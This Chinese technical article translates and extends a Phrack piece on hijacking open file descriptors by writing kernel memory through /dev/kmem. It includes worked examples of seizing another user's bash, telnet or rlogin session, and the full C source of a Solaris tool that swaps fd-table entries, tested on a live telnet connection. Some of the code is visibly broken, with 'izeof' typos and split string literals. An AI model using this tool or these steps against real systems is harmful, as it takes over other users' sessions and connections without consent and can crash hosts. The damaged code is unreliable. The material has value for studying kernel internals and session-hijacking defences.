即将介绍技术思想来自Phrack Magazine 51-5,如果不放心俺的英文理解能力,
大可翻出原作慢慢品位。这里没有忠实于原作进行翻译,因为年代久远,操作系统变
化较大,需要重新做Kernel Hacking。FreeBSD和Linux的内核源码公开,不做重点讨
论对象。原作没有提供Sun OS上的实现,本文提供了一个64-bit kernel mode示例。
文中观点,无论是orabidoo的,还是俺的,都属于技术讨论范畴,可能使用了非
文档化、未公开的、非规范的编程、应用接口。这里提供的仅仅是思想,而不保证是
正确、高效、唯一的技术实现。orabidoo和俺不对文中任何技术引起的任何灾难性后
果负任何法律上的、道义上的责任。
Ok, Let''s go.
--------------------------------------------------------------------------
◆ 介绍
我们经常听说tty hijacking技术,root常常利用这种技术监视其他用户的终端
显示。传统实现工具中,在系统5上采用STREAMS(流)机制,而Phrack 50-5介绍了在
Linux系统中如何利用LLKM技术实现tty hijacking。
译注:Solaris上的完整实现请访问
ftp://ftp.cerias.purdue.edu/pub/tools/unix/sysutils/ttywatcher/
简单来说,在终端流上压入自己的一个流模块,hook住下行流数据(终端输出
信息)。通过一个伪设备驱动程序(流驱动)与用户空间的还原程序通信。
此外可以参看newchess在NsFocus Magazine上发表的
<<ttywatcher核心原理简介>>
Phrack 50-5演示的技术,简单来说,hook住SYS_write系统调用,截取被监视
终端上的输出信息,通过一个伪字符设备驱动程序和用户空间的还原程序通信。
这个实现很容易移植到FreeBSD、OpenBSD系统上,曾经成功移植到FreeBSD上,
利用了FKLD技术。
无论哪种实现,都足够精巧,值得研读。
这里将要描述的技术远比上面提到的几种技术简单,root同样可以监视本地/远程会
话。我在Linux和FreeBSD上实现了它,应该很容易移植到任意一种Unix系统上,只要
这种Unix系统允许root在用户程序中读写访问内核空间(比如通过/dev/kmem)。
想法很简单,通过处理内核中的文件描述符表,可以将文件描述符从一个进程强制性
移动到另外一个进程。这种方式几乎允许你做任意想做的事情:将一个运行中命令的
输出重定向到一个文件,劫持别人的telnet连接(天啊,多么可怕的想法)。
◆ 内核如何跟踪已打开的文件描述符
在Unix系统中,进程通过所谓文件描述符访问系统资源,可以通过诸如open()、
socket()、pipe()等系统调用获取文件描述符(显然网络套接字和管道也是广义上的
文件描述符)。从进程的观点,文件描述符用于确定相关资源,仅仅是个不透明的句
柄。文件描述符0、1、2分别代表标准输入、标准输出和标准错误输出。总是顺序分
配新的文件描述符。
从内核的角度来看,每个进程对应一张文件描述符表,表中各个元素都是指针,
指向对应每个文件描述符的结构。如果文件描述符未被打开,表中指针为NULL。否则
指向的结构包含了文件描述符相关信息,比如这个fd是什么类型(文件、套接字、管
道等等),还有一些指针指向这个fd相关的资源数据(文件的inode、套接字的地址和
状态信息等等)。
通常进程表是个数组或者结构链表。从指定进程的P区很容易找出指向fd table
的指针。Linux的2.2.x内核里,进程表是一个双向循环链表,参看如下代码,在内核
空间中根据进程PID确定进程P区:
--------------------------------------------------------------------------
static struct task_struct * pfind ( pid_t pid )
{
struct task_struct * proc = current;
do
{
if ( proc->pid == pid )
{
return( proc );
}
proc = proc->next_task;
} while ( proc != current );
return( NULL );
} /* end of pfind */
--------------------------------------------------------------------------
可能在某些内核中,进程表不再是双向循环链表,请自行Kernel Hacking。
/usr/include/linux/sched.h文件中定义了(来自2.2.12内核)
--------------------------------------------------------------------------
struct task_struct
{
... ...
/*
* open file information
*/
struct files_struct * files;
... ...
}
/*
* Open file table structure
*/
struct files_struct
{
atomic_t count;
int max_fds;
int max_fdset;
int next_fd;
struct file ** fd; /* current fd array */
fd_set * close_on_exec;
fd_set * open_fds;
fd_set close_on_exec_init;
fd_set open_fds_init;
struct file * fd_array[NR_OPEN_DEFAULT];
};
--------------------------------------------------------------------------
task_struct结构中成员files指向files_struct结构,后者包含一个结构数组对应打
开的文件描述符表。至少2.2.12内核版本使用了显式的指针数组来实现文件描述符表。
注意与后续的FreeBSD、Solaris系统实现做比较。
/usr/include/linux/fs.h文件中定义了(来自2.2.12内核)
--------------------------------------------------------------------------
struct file
{
struct file *f_next, **f_pprev;
struct dentry *f_dentry;
struct file_operations *f_op;
mode_t f_mode;
loff_t f_pos;
unsigned int f_count, f_flags;
unsigned long f_reada, f_ramax, f_raend, f_ralen, f_rawin;
struct fown_struct f_owner;
unsigned int f_uid, f_gid;
int f_error;
unsigned long f_version;
/* needed for tty driver, and maybe others */
void *private_data;
};
--------------------------------------------------------------------------
译注:原作讨论的是Sun OS 4,显然到得今日,应该讨论Solaris 2.x,下面以
Solaris 7为蓝本讨论
在/usr/include/sys/proc.h中定义了
--------------------------------------------------------------------------
/*
* One structure allocated per active process. It contains all
* data needed about the process while the process may be swapped
* out. Other per-process data (user.h) is also inside the proc structure.
* Lightweight-process data (lwp.h) and the kernel stack may be swapped out.
*/
typedef struct proc
{
... ...
/*
* The user structure
*/
struct user p_user; /* (see sys/user.h) */
... ...
} proc_t;
#define PROC_T /* headers relying on proc_t are OK */
/* active process chain */
extern proc_t * practive;
/* Well known processes */
extern proc_t *proc_sched; /* memory scheduler */
extern proc_t *proc_init; /* init */
extern proc_t *proc_pageout; /* pageout daemon */
extern proc_t *proc_fsflush; /* filesystem sync-er */
--------------------------------------------------------------------------
在Solaris内核编程中,可以利用内核全局变量practive做活动进程遍历。在用户空
间,虽然也可以利用这个指针,但利用kvm_*()更安全些。
# nm -nx /dev/ksyms | grep -i "|practive$"
[7942] |0x00001041f8f0|0x000000000008|OBJT |GLOB |0 |ABS |practive
在/usr/include/sys/user.h中定义了(来自Solaris 7)
--------------------------------------------------------------------------
/*
* The user structure; one allocated per process. Contains all the
* per-process data that doesn''t need to be referenced while the
* process is swapped.
*/
/*
* User file descriptors are allocate dynamically, in multiples
* of NFPCHUNK.
*/
#define NFPCHUNK 24
struct uf_entry
{
struct file *uf_ofile;
struct fpollinfo *uf_fpollinfo;
short uf_pofile;
short uf_refcnt;
};
typedef struct uf_entry uf_entry_t;
typedef struct user
{
... ...
kmutex_t u_flock; /* lock for u_nofiles and u_flist */
int u_nofiles; /* number of open file slots */
struct uf_entry * u_flist; /* open file list */
... ...
} user_t;
#include <sys/proc.h> /* cannot include before user
defined */
#ifdef _KERNEL
#ifdef sun
#define u (curproc->p_user) /* user is now part of proc
structure */
#endif /* sun */
--------------------------------------------------------------------------
注意上面的user_t成员定义,Solaris使用的实际上不是指针数组,而是结构数组,
每个元素都是一个uf_entry_t结构,虽然user_t成员定义使用了struct uf_entry *
类型。这个结构数组有效元素个数由u_nofiles成员确定(指最大有多少存放空间)。
此外,不要受"open file list"这个注释的影响,这里不是结构链表。
至于其他定义,比如curproc、u等等,在SLKM编程中非常有用,对我们这次的主题并
无帮助。
在/usr/include/sys/file.h中定义了(来自Solaris 7)
--------------------------------------------------------------------------
/*
* One file structure is allocated for each open/creat/pipe call.
* Main use is to hold the read/write pointer associated with
* each open file.
*/
typedef struct file
{
kmutex_t f_tlock; /* short term lock */
ushort_t f_flag;
ushort_t f_pad; /* Explicit pad to 4 byte boundary */
struct vnode *f_vnode; /* pointer to vnode structure */
offset_t f_offset; /* read/write character pointer */
struct cred *f_cred; /* credentials of user who opened it */
caddr_t f_audit_data; /* file audit data */
int f_count; /* reference count */
} file_t;
--------------------------------------------------------------------------
Solaris 7中,P区形成一个链表,P区中有指针指向U区,U区中u_flist成员对应打开
的文件描述符表。
FreeBSD中,同样存在一条struct proc结构链表,/usr/src/sys/kern/kern_proc.c
文件中定义了(来自FreeBSD 4.x)
--------------------------------------------------------------------------
struct proclist allproc;
struct proclist zombproc;
--------------------------------------------------------------------------
allproc对应非僵尸进程链表、zombproc对应僵尸进程链表。
orabidoo利用allproc完成FreeBSD下的活动进程遍历。
/usr/src/sys/sys/proc.h中定义了struct proclist {}结构和struct proc {}结构:
--------------------------------------------------------------------------
struct proc
{
... ...
struct filedesc * p_fd; /* Ptr to open files structure. */
... ...
};
--------------------------------------------------------------------------
/usr/src/sys/sys/filedesc.h中定义了struct filedesc {}结构:
--------------------------------------------------------------------------
struct filedesc
{
struct file **fd_ofiles; /* file structures for open files */
char *fd_ofileflags; /* per-process open file flags */
struct vnode *fd_cdir; /* current directory */
struct vnode *fd_rdir; /* root directory */
struct vnode *fd_jdir; /* jail root directory */
int fd_nfiles; /* number of open files allocated */
u_short fd_lastfile; /* high-water mark of fd_ofiles */
u_short fd_freefile; /* approx. next free file */
u_short fd_cmask; /* mask for file creation */
u_short fd_refcnt; /* reference count */
};
--------------------------------------------------------------------------
FreeBSD隐式实现了指针数组,每个元素类型是struct file *。fd_nfiles成员决定
了有效元素个数(指最大有多少存放空间)。
参照来自freebsd_rootkit.c的fget()实现加强理解:
--------------------------------------------------------------------------
static struct file * fget ( struct filedesc * fdp, int fd )
{
struct file * fp;
if ( ( fd >= fdp->fd_nfiles )
||
( ( fp = fdp->fd_ofiles[ fd] ) == NULL ) )
{
return( NULL );
}
return( fp );
} /* end of fget */
--------------------------------------------------------------------------
如果你可以读写访问内核内存(绝大多数情况下通过读写/dev/kmem实现),谁也无法
阻止你直接处理文件描述符表、从一个进程窃取打开的文件描述符而在另外一个进程
中使用它(很奇妙,不是吗)。
基于BSD 4.4的系统,比如FreeBSD、NetBSD、OpenBSD,如果它们运行的安全级别高
于0,此时禁止写访问/dev/mem和/dev/kmem。然而许多BSD系统运行在安全级别-1上,
这使得本文即将介绍的技术可用。许多时候,可以通过修改启动脚本迫使下次启动进
入安全级别-1。在FreeBSD上可以可以通过命令"sysctl kern.securelevel"获取当前
安全级别。Linux 也有安全级别(译注:现在没有了,即使有这个概念,也不再是一
个简单的内核全局变量),但它不影响你访问/dev/kmem。
◆ 劫持文件描述符
的确不该在用户程序中通过/dev/kmem方式修改内核内部变量,就象即将演示的那样。
首先,在一个多任务系统上,找到一个内核变量的地址并修改它的内容,由于整个过
程不是原子操作,在确定地址和发生写操作之间,无法保证内核状态不发生变化。因
此该技术不应用于那些追求可靠性的程序中。在实践中,还没有碰到失败的情形,内
核分配了一块数据之后并未移动它们,至少对于每个进程前64个文件描述符是这样的,
而且当你处理文件描述符表时也不大可能恰好发生进程关闭/打开文件描述符的操作。
你仍然要尝试这种技术吗?
简单起见,我们不打算在两个进程间冗余复制一个句柄,也不打算将一个句柄从一个
进程单向转移到另一个进程。这里仅仅在两个进程之间做一次句柄对换,此时只需要
打开文件,而不必修改"引用记数"。在内核中很容易定位两个指针并对换之。一个稍
微复杂点的版本是在三个进程间循环替换句柄。
当然,你必须猜测哪个句柄对应你所感兴趣的资源。为了完全控制运行中的shell,
需要它的标准输入、标准输出和标准错误输出,应该劫持3个句柄,0、1、2。为了完
全控制一个telnet会话,需要telnet连接对应的socket(套接字),通常它是3号句柄,
考虑和另外一个运行中的telnet会话对换套接字。
在Linux上,快速浏览一下/proc/[pid]/fd/目录,很容易得知相应进程正在使用哪些
句柄(文件描述符)。
◆ 编程实现(译者修正移植)
作者orabidoo在Linux和FreeBSD上实现了这个技术构想,据称很容易移植到其他系统,
只要这些操作系统支持写访问/dev/mem或者/dev/kmem,有类似/usr/include/sys/
proc.h的头文件指明如何访问进程P区、U区。
不想重复Linux上的实现,作者是在1.2.13附近的内核版本上实现的。至于FreeBSD,
作者是在2.2.1附近的内核版本上实现的,现在内核变化比较大(4.x)。
我的基本考虑是在SPARC/Solaris 7 64-bit kernel mode中实现这个技术构想,但不
能肯定成功,上面的翻译和下面的技术笔记权当摸索。
假设这个程序名为chfd,可以这样使用
chfd pid1 fd1 pid2 fd2
或者
chfd pid1 fd1 pid2 fd2 pid3 fd3
第一种情况下,简单对换了句柄。第二种情况下,pid2获得fd1、pid3获得fd2、pid1
获得fd3。
作为一个特例,如果某个pid为0,相应的fd被忽略,代以指向/dev/null的句柄。
◆ 例 1
一条耗时很长的命令(pid为207)正在运行,向tty输出信息。此时你键入
"cat > somefile",找出这条cat命令的pid为1746。接着你做了
chfd 207 1 1746 1
该命令导致207号进程的输出转向到"somefile",而cat命令是针对原来启动耗时命令
的tty。键入Ctrl-C,终止这个已经没有意义的cat命令。
◆ 例 2
某人在一个tty上启动了一个bash,进程号4022。你在另外一个tty上启动了另外一个
bash,进程号4121。接着你做了
sleep 10000
# 在你自己的bash中,因此它暂停读取相应tty一会
# 否则你的bash从/dev/null读取到EOF,将立即结束会话
chfd 4022 0 0 0 4121 0
chfd 4022 1 0 0 4121 1
chfd 4022 2 0 0 4121 2
你发现自己正在控制别人的bash,也同时获取相应的输出信息。此时启动4022的用户
所做击键被送往/dev/null。当你退出别人的shell时,那个用户发现他的会话连接终
断了,而你返回那个依旧沉睡中的(sleep 10000)自己的bash,可以安全使用Ctrl-C
恢复正常状态。
不同的shell程序可能使用不同的文件描述符,zsh似乎使用10号句柄读取tty,此时
自己注意替换相应句柄。
◆ 例 3
某人正在一个tty上执行telnet,进程号6309。你启动telnet连接一些无关紧要的端
口,要求不会太快终断连接,比如telnet localhost 7、telnet www.yourdomain 80
等等,假设进程号7081。如果在Linux下,快速浏览/proc/6309/fd/和/proc/7081/fd,
发现telnet正在使用句柄0、1、2和3,因此3号句柄必然对应网络连接。接着做
chfd 6309 3 7081 3 0 0
你会发现自己的telnet会话使用了别人的网络连接,而另外那个人的网络连接被替换
成/dev/null,结果他的telnet会话读取到EOF,最终报告"Connection closed by
foreign host"。此时你可能需要键入Ctrl-]逃逸字符,输入"mode character",通
知你自己的telnet停止本地行回显。
◆ 例 4
某人正在一个tty上运行rlogin,每个rlogin使用两个进程,进程号分别是4547和
4548。你在另一个tty上启动rlogin localhost,进程号分别是4552和4555。快速
查看相关/proc/[pid]/fd/目录,发现每个rlogin进程正在使用3号句柄做网络连接。
接着做
chfd 4547 3 4552 3
chfd 4548 3 4555 3
做你所期望的吧。你的rlogin依旧被内核阻塞着,因为它正在等待一个永远不会发生
的事件(从localhost读取数据),考虑先kill -STOP,然后fg唤醒它。
现在有点映象了吧。一个程序获取另一个程序的句柄,很重要的一点,应该知道这个
句柄本来是做什么的。绝大多数情况下应该启动同样的程序实例,除非考虑涉及
/dev/null的情况(用于提供一个EOF给读操作),或者仅仅是对标准输入、标准输出、
标准错误输出做转向处理。
◆ 结论
如你所见,利用这种技术可以做很多奇妙的事情。你不大可能阻止root用户对你使用
这种技术。
可能会有所争论,这种技术甚至不是安全漏洞,前提是只有root才能这样干。否则开
发内核的家伙不会提供对/dev/kmem伪文件系统接口的支持,不是吗?
◆ SPARC/Solaris 7 64-bit kernel mode下的技术实现
从/usr/include/sys/user.h头文件的内容可以得知,为了在用户空间使用原始U区数
据结构而不是fake u_area,应该
#define _KMEMUSER
如果是内核空间编程,另外一个宏_KERNEL确保使用原始U区数据结构。
SPARC/Solaris 7系统中实现文件描述符表用的是结构数组,并不象Linux/FreeBSD那
样是指针数组(无论显式、隐式)。所以要对换的不是两个8字节长的指针,而是24字
节长的uf_entry_t结构。我不知道Sun OS 4上是否使用了指针数组?
/*
* File : solaris_chfd.c
* Version : 0.01 aleph
* Author : scz < mailto:
[email protected] >
* : http://www.nsfocus.com
* : ( Don''t ask or complain anything about this program, please. )
* Complie : /opt/SUNWspro/SC5.0/bin/cc -xarch=v9 -D_KMEMUSER -DDEBUG=1
* : -O -o solaris_chfd solaris_chfd.c -lkvm
* : /usr/ccs/bin/strip solaris_chfd
* Usage : ./solaris_chfd <pid1> <fd1> <pid2> <fd2> [<pid3> <fd3>]
* Platform : SPARC/Solaris 7 64-bit kernel mode
* Date : 2001-05-14 23:36
* -----------------------------------------------------------------------
*
* Thank orabidoo < mailto:
[email protected] >. As far as tt, the guy force
* me to translate the wonderful article and write the dirty code, kick
* him,:-(
*
* The only thing they can''t take from us are our minds. !H
*
* -----------------------------------------------------------------------
*
* solaris_chfd - exchange fd between 2 or 3 running processes
*
* This code was written for SPARC/Solaris 7 and is *very* system-specific.
* Needs read/write access to /dev/mem and /dev/kmem; only root can usually
* do that. Note here, the solaris has no securelevel, !H
*
* Note that this is inherently unsafe, since we''re messing with kernel
* variables while the kernel itself might be changing them. It works
* in practice, but no self-respecting program would want to do this.
*
* Using it on your risk!
*/
/*******************************************************************
* *
* Head File *
* *
*******************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/proc.h>
#include <sys/user.h>
#include <fcntl.h>
#include <unistd.h>
#include <kvm.h>
#include <nlist.h>
/*******************************************************************
* *
* Macro *
* *
*******************************************************************/
#pragma ident "@(#)solaris_chfd.c 0.01 aleph 2001/05/14 NsFocus Copyright
2001-2010"
/*******************************************************************
* *
* Function Prototype *
* *
*******************************************************************/
#if DEBUG == 1
static void outputBinary ( const u_char * byteArray, const size_t
byteArrayLen );
#endif
static void get_fd_table ( kvm_t * kd, pid_t pid, int fd, void ** pAddress,
struct uf_entry * pValue );
static void set_fd_table ( int kmfd, void * address, struct uf_entry *
pValue );
static void verify ( kvm_t * kd, void * address, struct uf_entry *
pValue );
/*******************************************************************
* *
* Static Global Var *
* *
*******************************************************************/
/*----------------------------------------------------------------------*/
#if DEBUG == 1
static void outputBinary ( const u_char * byteArray, const size_t
byteArrayLen )
{
size_t offset, k, j, i;
fprintf( stderr, "byteArray [ %lu bytes ] ---->
", byteArrayLen );
if ( byteArrayLen <= 0 )
{
return;
}
i = 0;
offset = 0;
for ( k = byteArrayLen / 16; k > 0; k--, offset += 16 )
{
fprintf( stderr, "%016X ", offset );
for ( j = 0; j < 16; j++, i++ )
{
if ( j == 8 )
{
fprintf( stderr, "-%02X", byteArray[i] );
}
else
{
fprintf( stderr, " %02X", byteArray[i] );
}
}
fprintf( stderr, " " );
i -= 16;
for ( j = 0; j < 16; j++, i++ )
{
/* if ( isprint( (int)byteArray[i] ) ) */
if ( ( byteArray[i] >= '' '' ) && ( byteArray[i] <= 255 ) )
{
fprintf( stderr, "%c", byteArray[i] );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "
" );
} /* end of for */
k = byteArrayLen - i;
if ( k <= 0 )
{
return;
}
fprintf( stderr, "%016X ", offset );
for ( j = 0 ; j < k; j++, i++ )
{
if ( j == 8 )
{
fprintf( stderr, "-%02X", byteArray[i] );
}
else
{
fprintf( stderr, " %02X", byteArray[i] );
}
}
i -= k;
for ( j = 16 - k; j > 0; j-- )
{
fprintf( stderr, " " );
}
fprintf( stderr, " " );
for ( j = 0; j < k; j++, i++ )
{
if ( ( byteArray[i] >= '' '' ) && ( byteArray[i] <= 255 ) )
{
fprintf( stderr, "%c", byteArray[i] );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "
" );
return;
} /* end of outputBinary */
#endif
static void get_fd_table ( kvm_t * kd, pid_t pid, int fd, void ** pAddress,
struct uf_entry * pValue )
{
struct proc * cur_proc;
struct user * cur_user;
struct pid cur_p;
pid_t cur_pid = -1;
kvm_setproc( kd );
while ( ( cur_proc = kvm_nextproc( kd ) ) )
{
if ( kvm_kread( kd, ( uintptr_t )cur_proc->p_pidp, &cur_p,
izeof( cur_p ) ) < 0 )
{
perror( "kvm_kread proc user" );
continue;
}
cur_pid = cur_p.pid_id;
if ( cur_pid == pid )
{
if ( ( cur_user = kvm_getu( kd, cur_proc ) ) != NULL )
{
#if DEBUG == 1
fprintf( stderr, "[ %d ] fd_table = %p
", pid,
cur_user->u_flist );
fprintf( stderr, "[ %d ] fd_table_num = %d
", pid,
cur_user->u_nofiles );
#endif
if ( fd >= cur_user->u_nofiles )
{
fprintf( stderr, "error: [ %d ] %d >= %d
", fd,
cur_user->u_nofiles );
exit( EXIT_FAILURE );
}
*pAddress = ( u_char * )cur_user->u_flist + sizeof( struct
uf_entry ) * fd;
if ( kvm_kread( kd, ( uintptr_t )*pAddress, pValue,
izeof( struct uf_entry ) ) < 0 )
{
perror( "kvm_kread" );
exit( EXIT_FAILURE );
}
#if DEBUG == 1
fprintf( stderr, "[ %d ] [ %d ] %p
", pid, fd, *pAddress );
outputBinary( ( const u_char * )pValue, sizeof( struct
uf_entry ) );
#endif
}
return;
}
} /* end of while */
exit( EXIT_FAILURE );
} /* end of get_fd_table */
static void set_fd_table ( int kmfd, void * address, struct uf_entry *
pValue )
{
lseek( kmfd, ( off_t )address, SEEK_SET );
if ( write( kmfd, pValue, sizeof( struct uf_entry ) ) < 0 )
{
perror( "write" );
#if DEBUG == 1
fprintf( stderr, "address = %p
", address );
outputBinary( ( const u_char * )pValue, sizeof( struct uf_entry ) );
#endif
exit( EXIT_FAILURE );
}
return;
} /* end of set_fd_table */
static void verify ( kvm_t * kd, void * address, struct uf_entry * pValue )
{
struct uf_entry now_value;
bzero( &now_value, sizeof( now_value ) );
if ( kvm_kread( kd, ( uintptr_t )address, &now_value,
sizeof( now_value ) ) < 0 )
{
perror( "kvm_kread address now_value" );
exit( EXIT_FAILURE );
}
if ( bcmp( &now_value, pValue, sizeof( struct uf_entry ) ) != 0 )
{
fprintf( stderr, "kernel changed.
" );
exit( EXIT_FAILURE );
}
return;
} /* end of verify */
int main ( int argc, char * argv[] )
{
pid_t pid1, pid2, pid3;
int fd1, fd2, fd3;
void *address1, *address2, *address3;
struct uf_entry value1, value2, value3;
int three = 0;
kvm_t *kd;
int kmfd;
if ( argc != 5 && argc != 7 )
{
fprintf( stderr, " Usage: %s pid1 fd1 pid2 fd2 [pid3 fd3]
",
argv[0] );
exit( EXIT_FAILURE );
}
pid1 = atoi( argv[1] );
fd1 = atoi( argv[2] );
pid2 = atoi( argv[3] );
fd2 = atoi( argv[4] );
if ( argc == 7 )
{
three = 1;
pid3 = atoi( argv[5] );
fd3 = atoi( argv[6] );
}
if ( pid1 == 0 )
{
pid1 = getpid();
fd1 = open( "/dev/null", O_RDWR );
if ( fd1 == -1 )
{
perror( "open" );
exit( EXIT_FAILURE );
}
}
if ( pid2 == 0 )
{
pid2 = getpid();
fd2 = open( "/dev/null", O_RDWR );
if ( fd2 == -1 )
{
perror( "open" );
exit( EXIT_FAILURE );
}
}
if ( three == 1 )
{
if ( pid3 == 0 )
{
pid3 = getpid();
fd3 = open( "/dev/null", O_RDWR );
if ( fd3 == -1 )
{
perror( "open" );
exit( EXIT_FAILURE );
}
}
}
if ( ( kd = kvm_open( NULL, NULL, NULL, O_RDONLY, NULL ) ) == NULL )
{
perror( "kvm_open" );
exit( EXIT_FAILURE );
}
kmfd = open( "/dev/kmem", O_RDWR );
if ( kmfd < 0 )
{
perror( "open /dev/kmem" );
exit( EXIT_FAILURE );
}
get_fd_table( kd, pid1, fd1, &address1, &value1 );
get_fd_table( kd, pid2, fd2, &address2, &value2 );
if ( three == 1 )
{
get_fd_table( kd, pid3, fd3, &address3, &value3 );
verify( kd, address1, &value1 );
verify( kd, address2, &value2 );
verify( kd, address3, &value3 );
set_fd_table( kmfd, address2, &value1 );
set_fd_table( kmfd, address3, &value2 );
set_fd_table( kmfd, address1, &value3 );
}
else
{
/* fprintf( stderr, "three == 0
" ); */
verify( kd, address1, &value1 );
verify( kd, address2, &value2 );
set_fd_table( kmfd, address2, &value1 );
set_fd_table( kmfd, address1, &value2 );
}
close( kmfd );
kvm_close( kd );
return( 0 );
} /* end of main */
/*----------------------------------------------------------------------*/
程序未经任何优化,编程风格极不严谨。之所以每次调用get_fd_table()遍历P区链
表,完全是方便演示,加强理解,严谨的C程序不应该进行三次同样的遍历。参看
kvm_setproc的手册页了解更多细节。
set_fd_table()的实现本来使用了kvm_kwrite(),但不知道因为何种原因,无法写入。
换做kvm_uwrite(),情况类似。迫不得已读写打开/dev/kmem,原以为只使用kvm_*()
就可以了。看来kvm_kwrite()做了一定的保护性检查。
verify()的检查实在是没有太大意义,可能更多是心理安慰,在内核中如果读写临界
区,应该引入互斥锁、读写锁等机制。
不要用cc或者gcc编译这个程序的32-bit版本,如测试,应该严格使用Workshop 5/6
指定-xarch=v9编译开关,以获取64-bit代码。
对于Linux系统,可以通过/proc/[pid]/fd/目录获取进程相关的文件句柄,对于
Solaris系统,可以用/usr/proc/bin/pfiles(1)获取这种信息。参看以前NsFocus
Magazine中的<<理解/proc文件系统>>和<</proc的威力----利用proc工具解决系统问
题>>。
我当时从192.168.10.2上telnet 192.168.10.6,在另外一个伪终端上telnet 0 7,
在第三个伪终端上用ps -ef | grep telnet找到这两个telnet进程的PID,用
pfiles(1)命令确定进程相关文件句柄,比如:
# pfiles 724
724: telnet 192.168.10.6
Current rlimit: 64 file descriptors
0: S_IFCHR mode:0620 dev:136,0 ino:141176 uid:500 gid:7 rdev:24,1
O_RDWR|O_NDELAY
1: S_IFCHR mode:0620 dev:136,0 ino:141176 uid:500 gid:7 rdev:24,1
O_RDWR|O_NDELAY
2: S_IFCHR mode:0620 dev:136,0 ino:141176 uid:500 gid:7 rdev:24,1
O_RDWR|O_NDELAY
3: S_IFSOCK mode:0666 dev:187,0 ino:25481 uid:0 gid:0 size:0
O_RDWR|O_NDELAY
上面显示的信息明确告诉我们3号句柄是socket。假设另外一个PID是728,执行:
# ./solaris_chfd 724 3 728 3
此时,第二个伪终端上的telnet会话已经对应到192.168.10.6的网络连接,可以正常
执行Unix命令,表示劫持文件句柄成功。
安全起见,可以再次执行:
# ./solaris_chfd 724 3 728 3
此时恢复到原始状态。1、2伪终端恢复正常,分别安全退出。
但是!由于一些我尚不确认的原因,某些时候(即使恢复到原始状态)在第二个伪终端
上(telnet 0 7)出现如下提示:
sleep(5) from telnet, after select
如果不理会这个伪终端,系统无事,第一个伪终端安全退出到bash下。如果理会这个
伪终端,比如Ctrl-]后quit,系统崩溃。不知道直接杀掉进程是否也导致系统崩溃。
无论如何,上述代码仅仅演示了这种技术构思,从我测试效果来看,远没有达到实用
的程度,系统崩溃是不能忍受的。如果你要测试上述代码,后果自负!
未曾长夜哭者,不足以语人生。kick kio.
<完>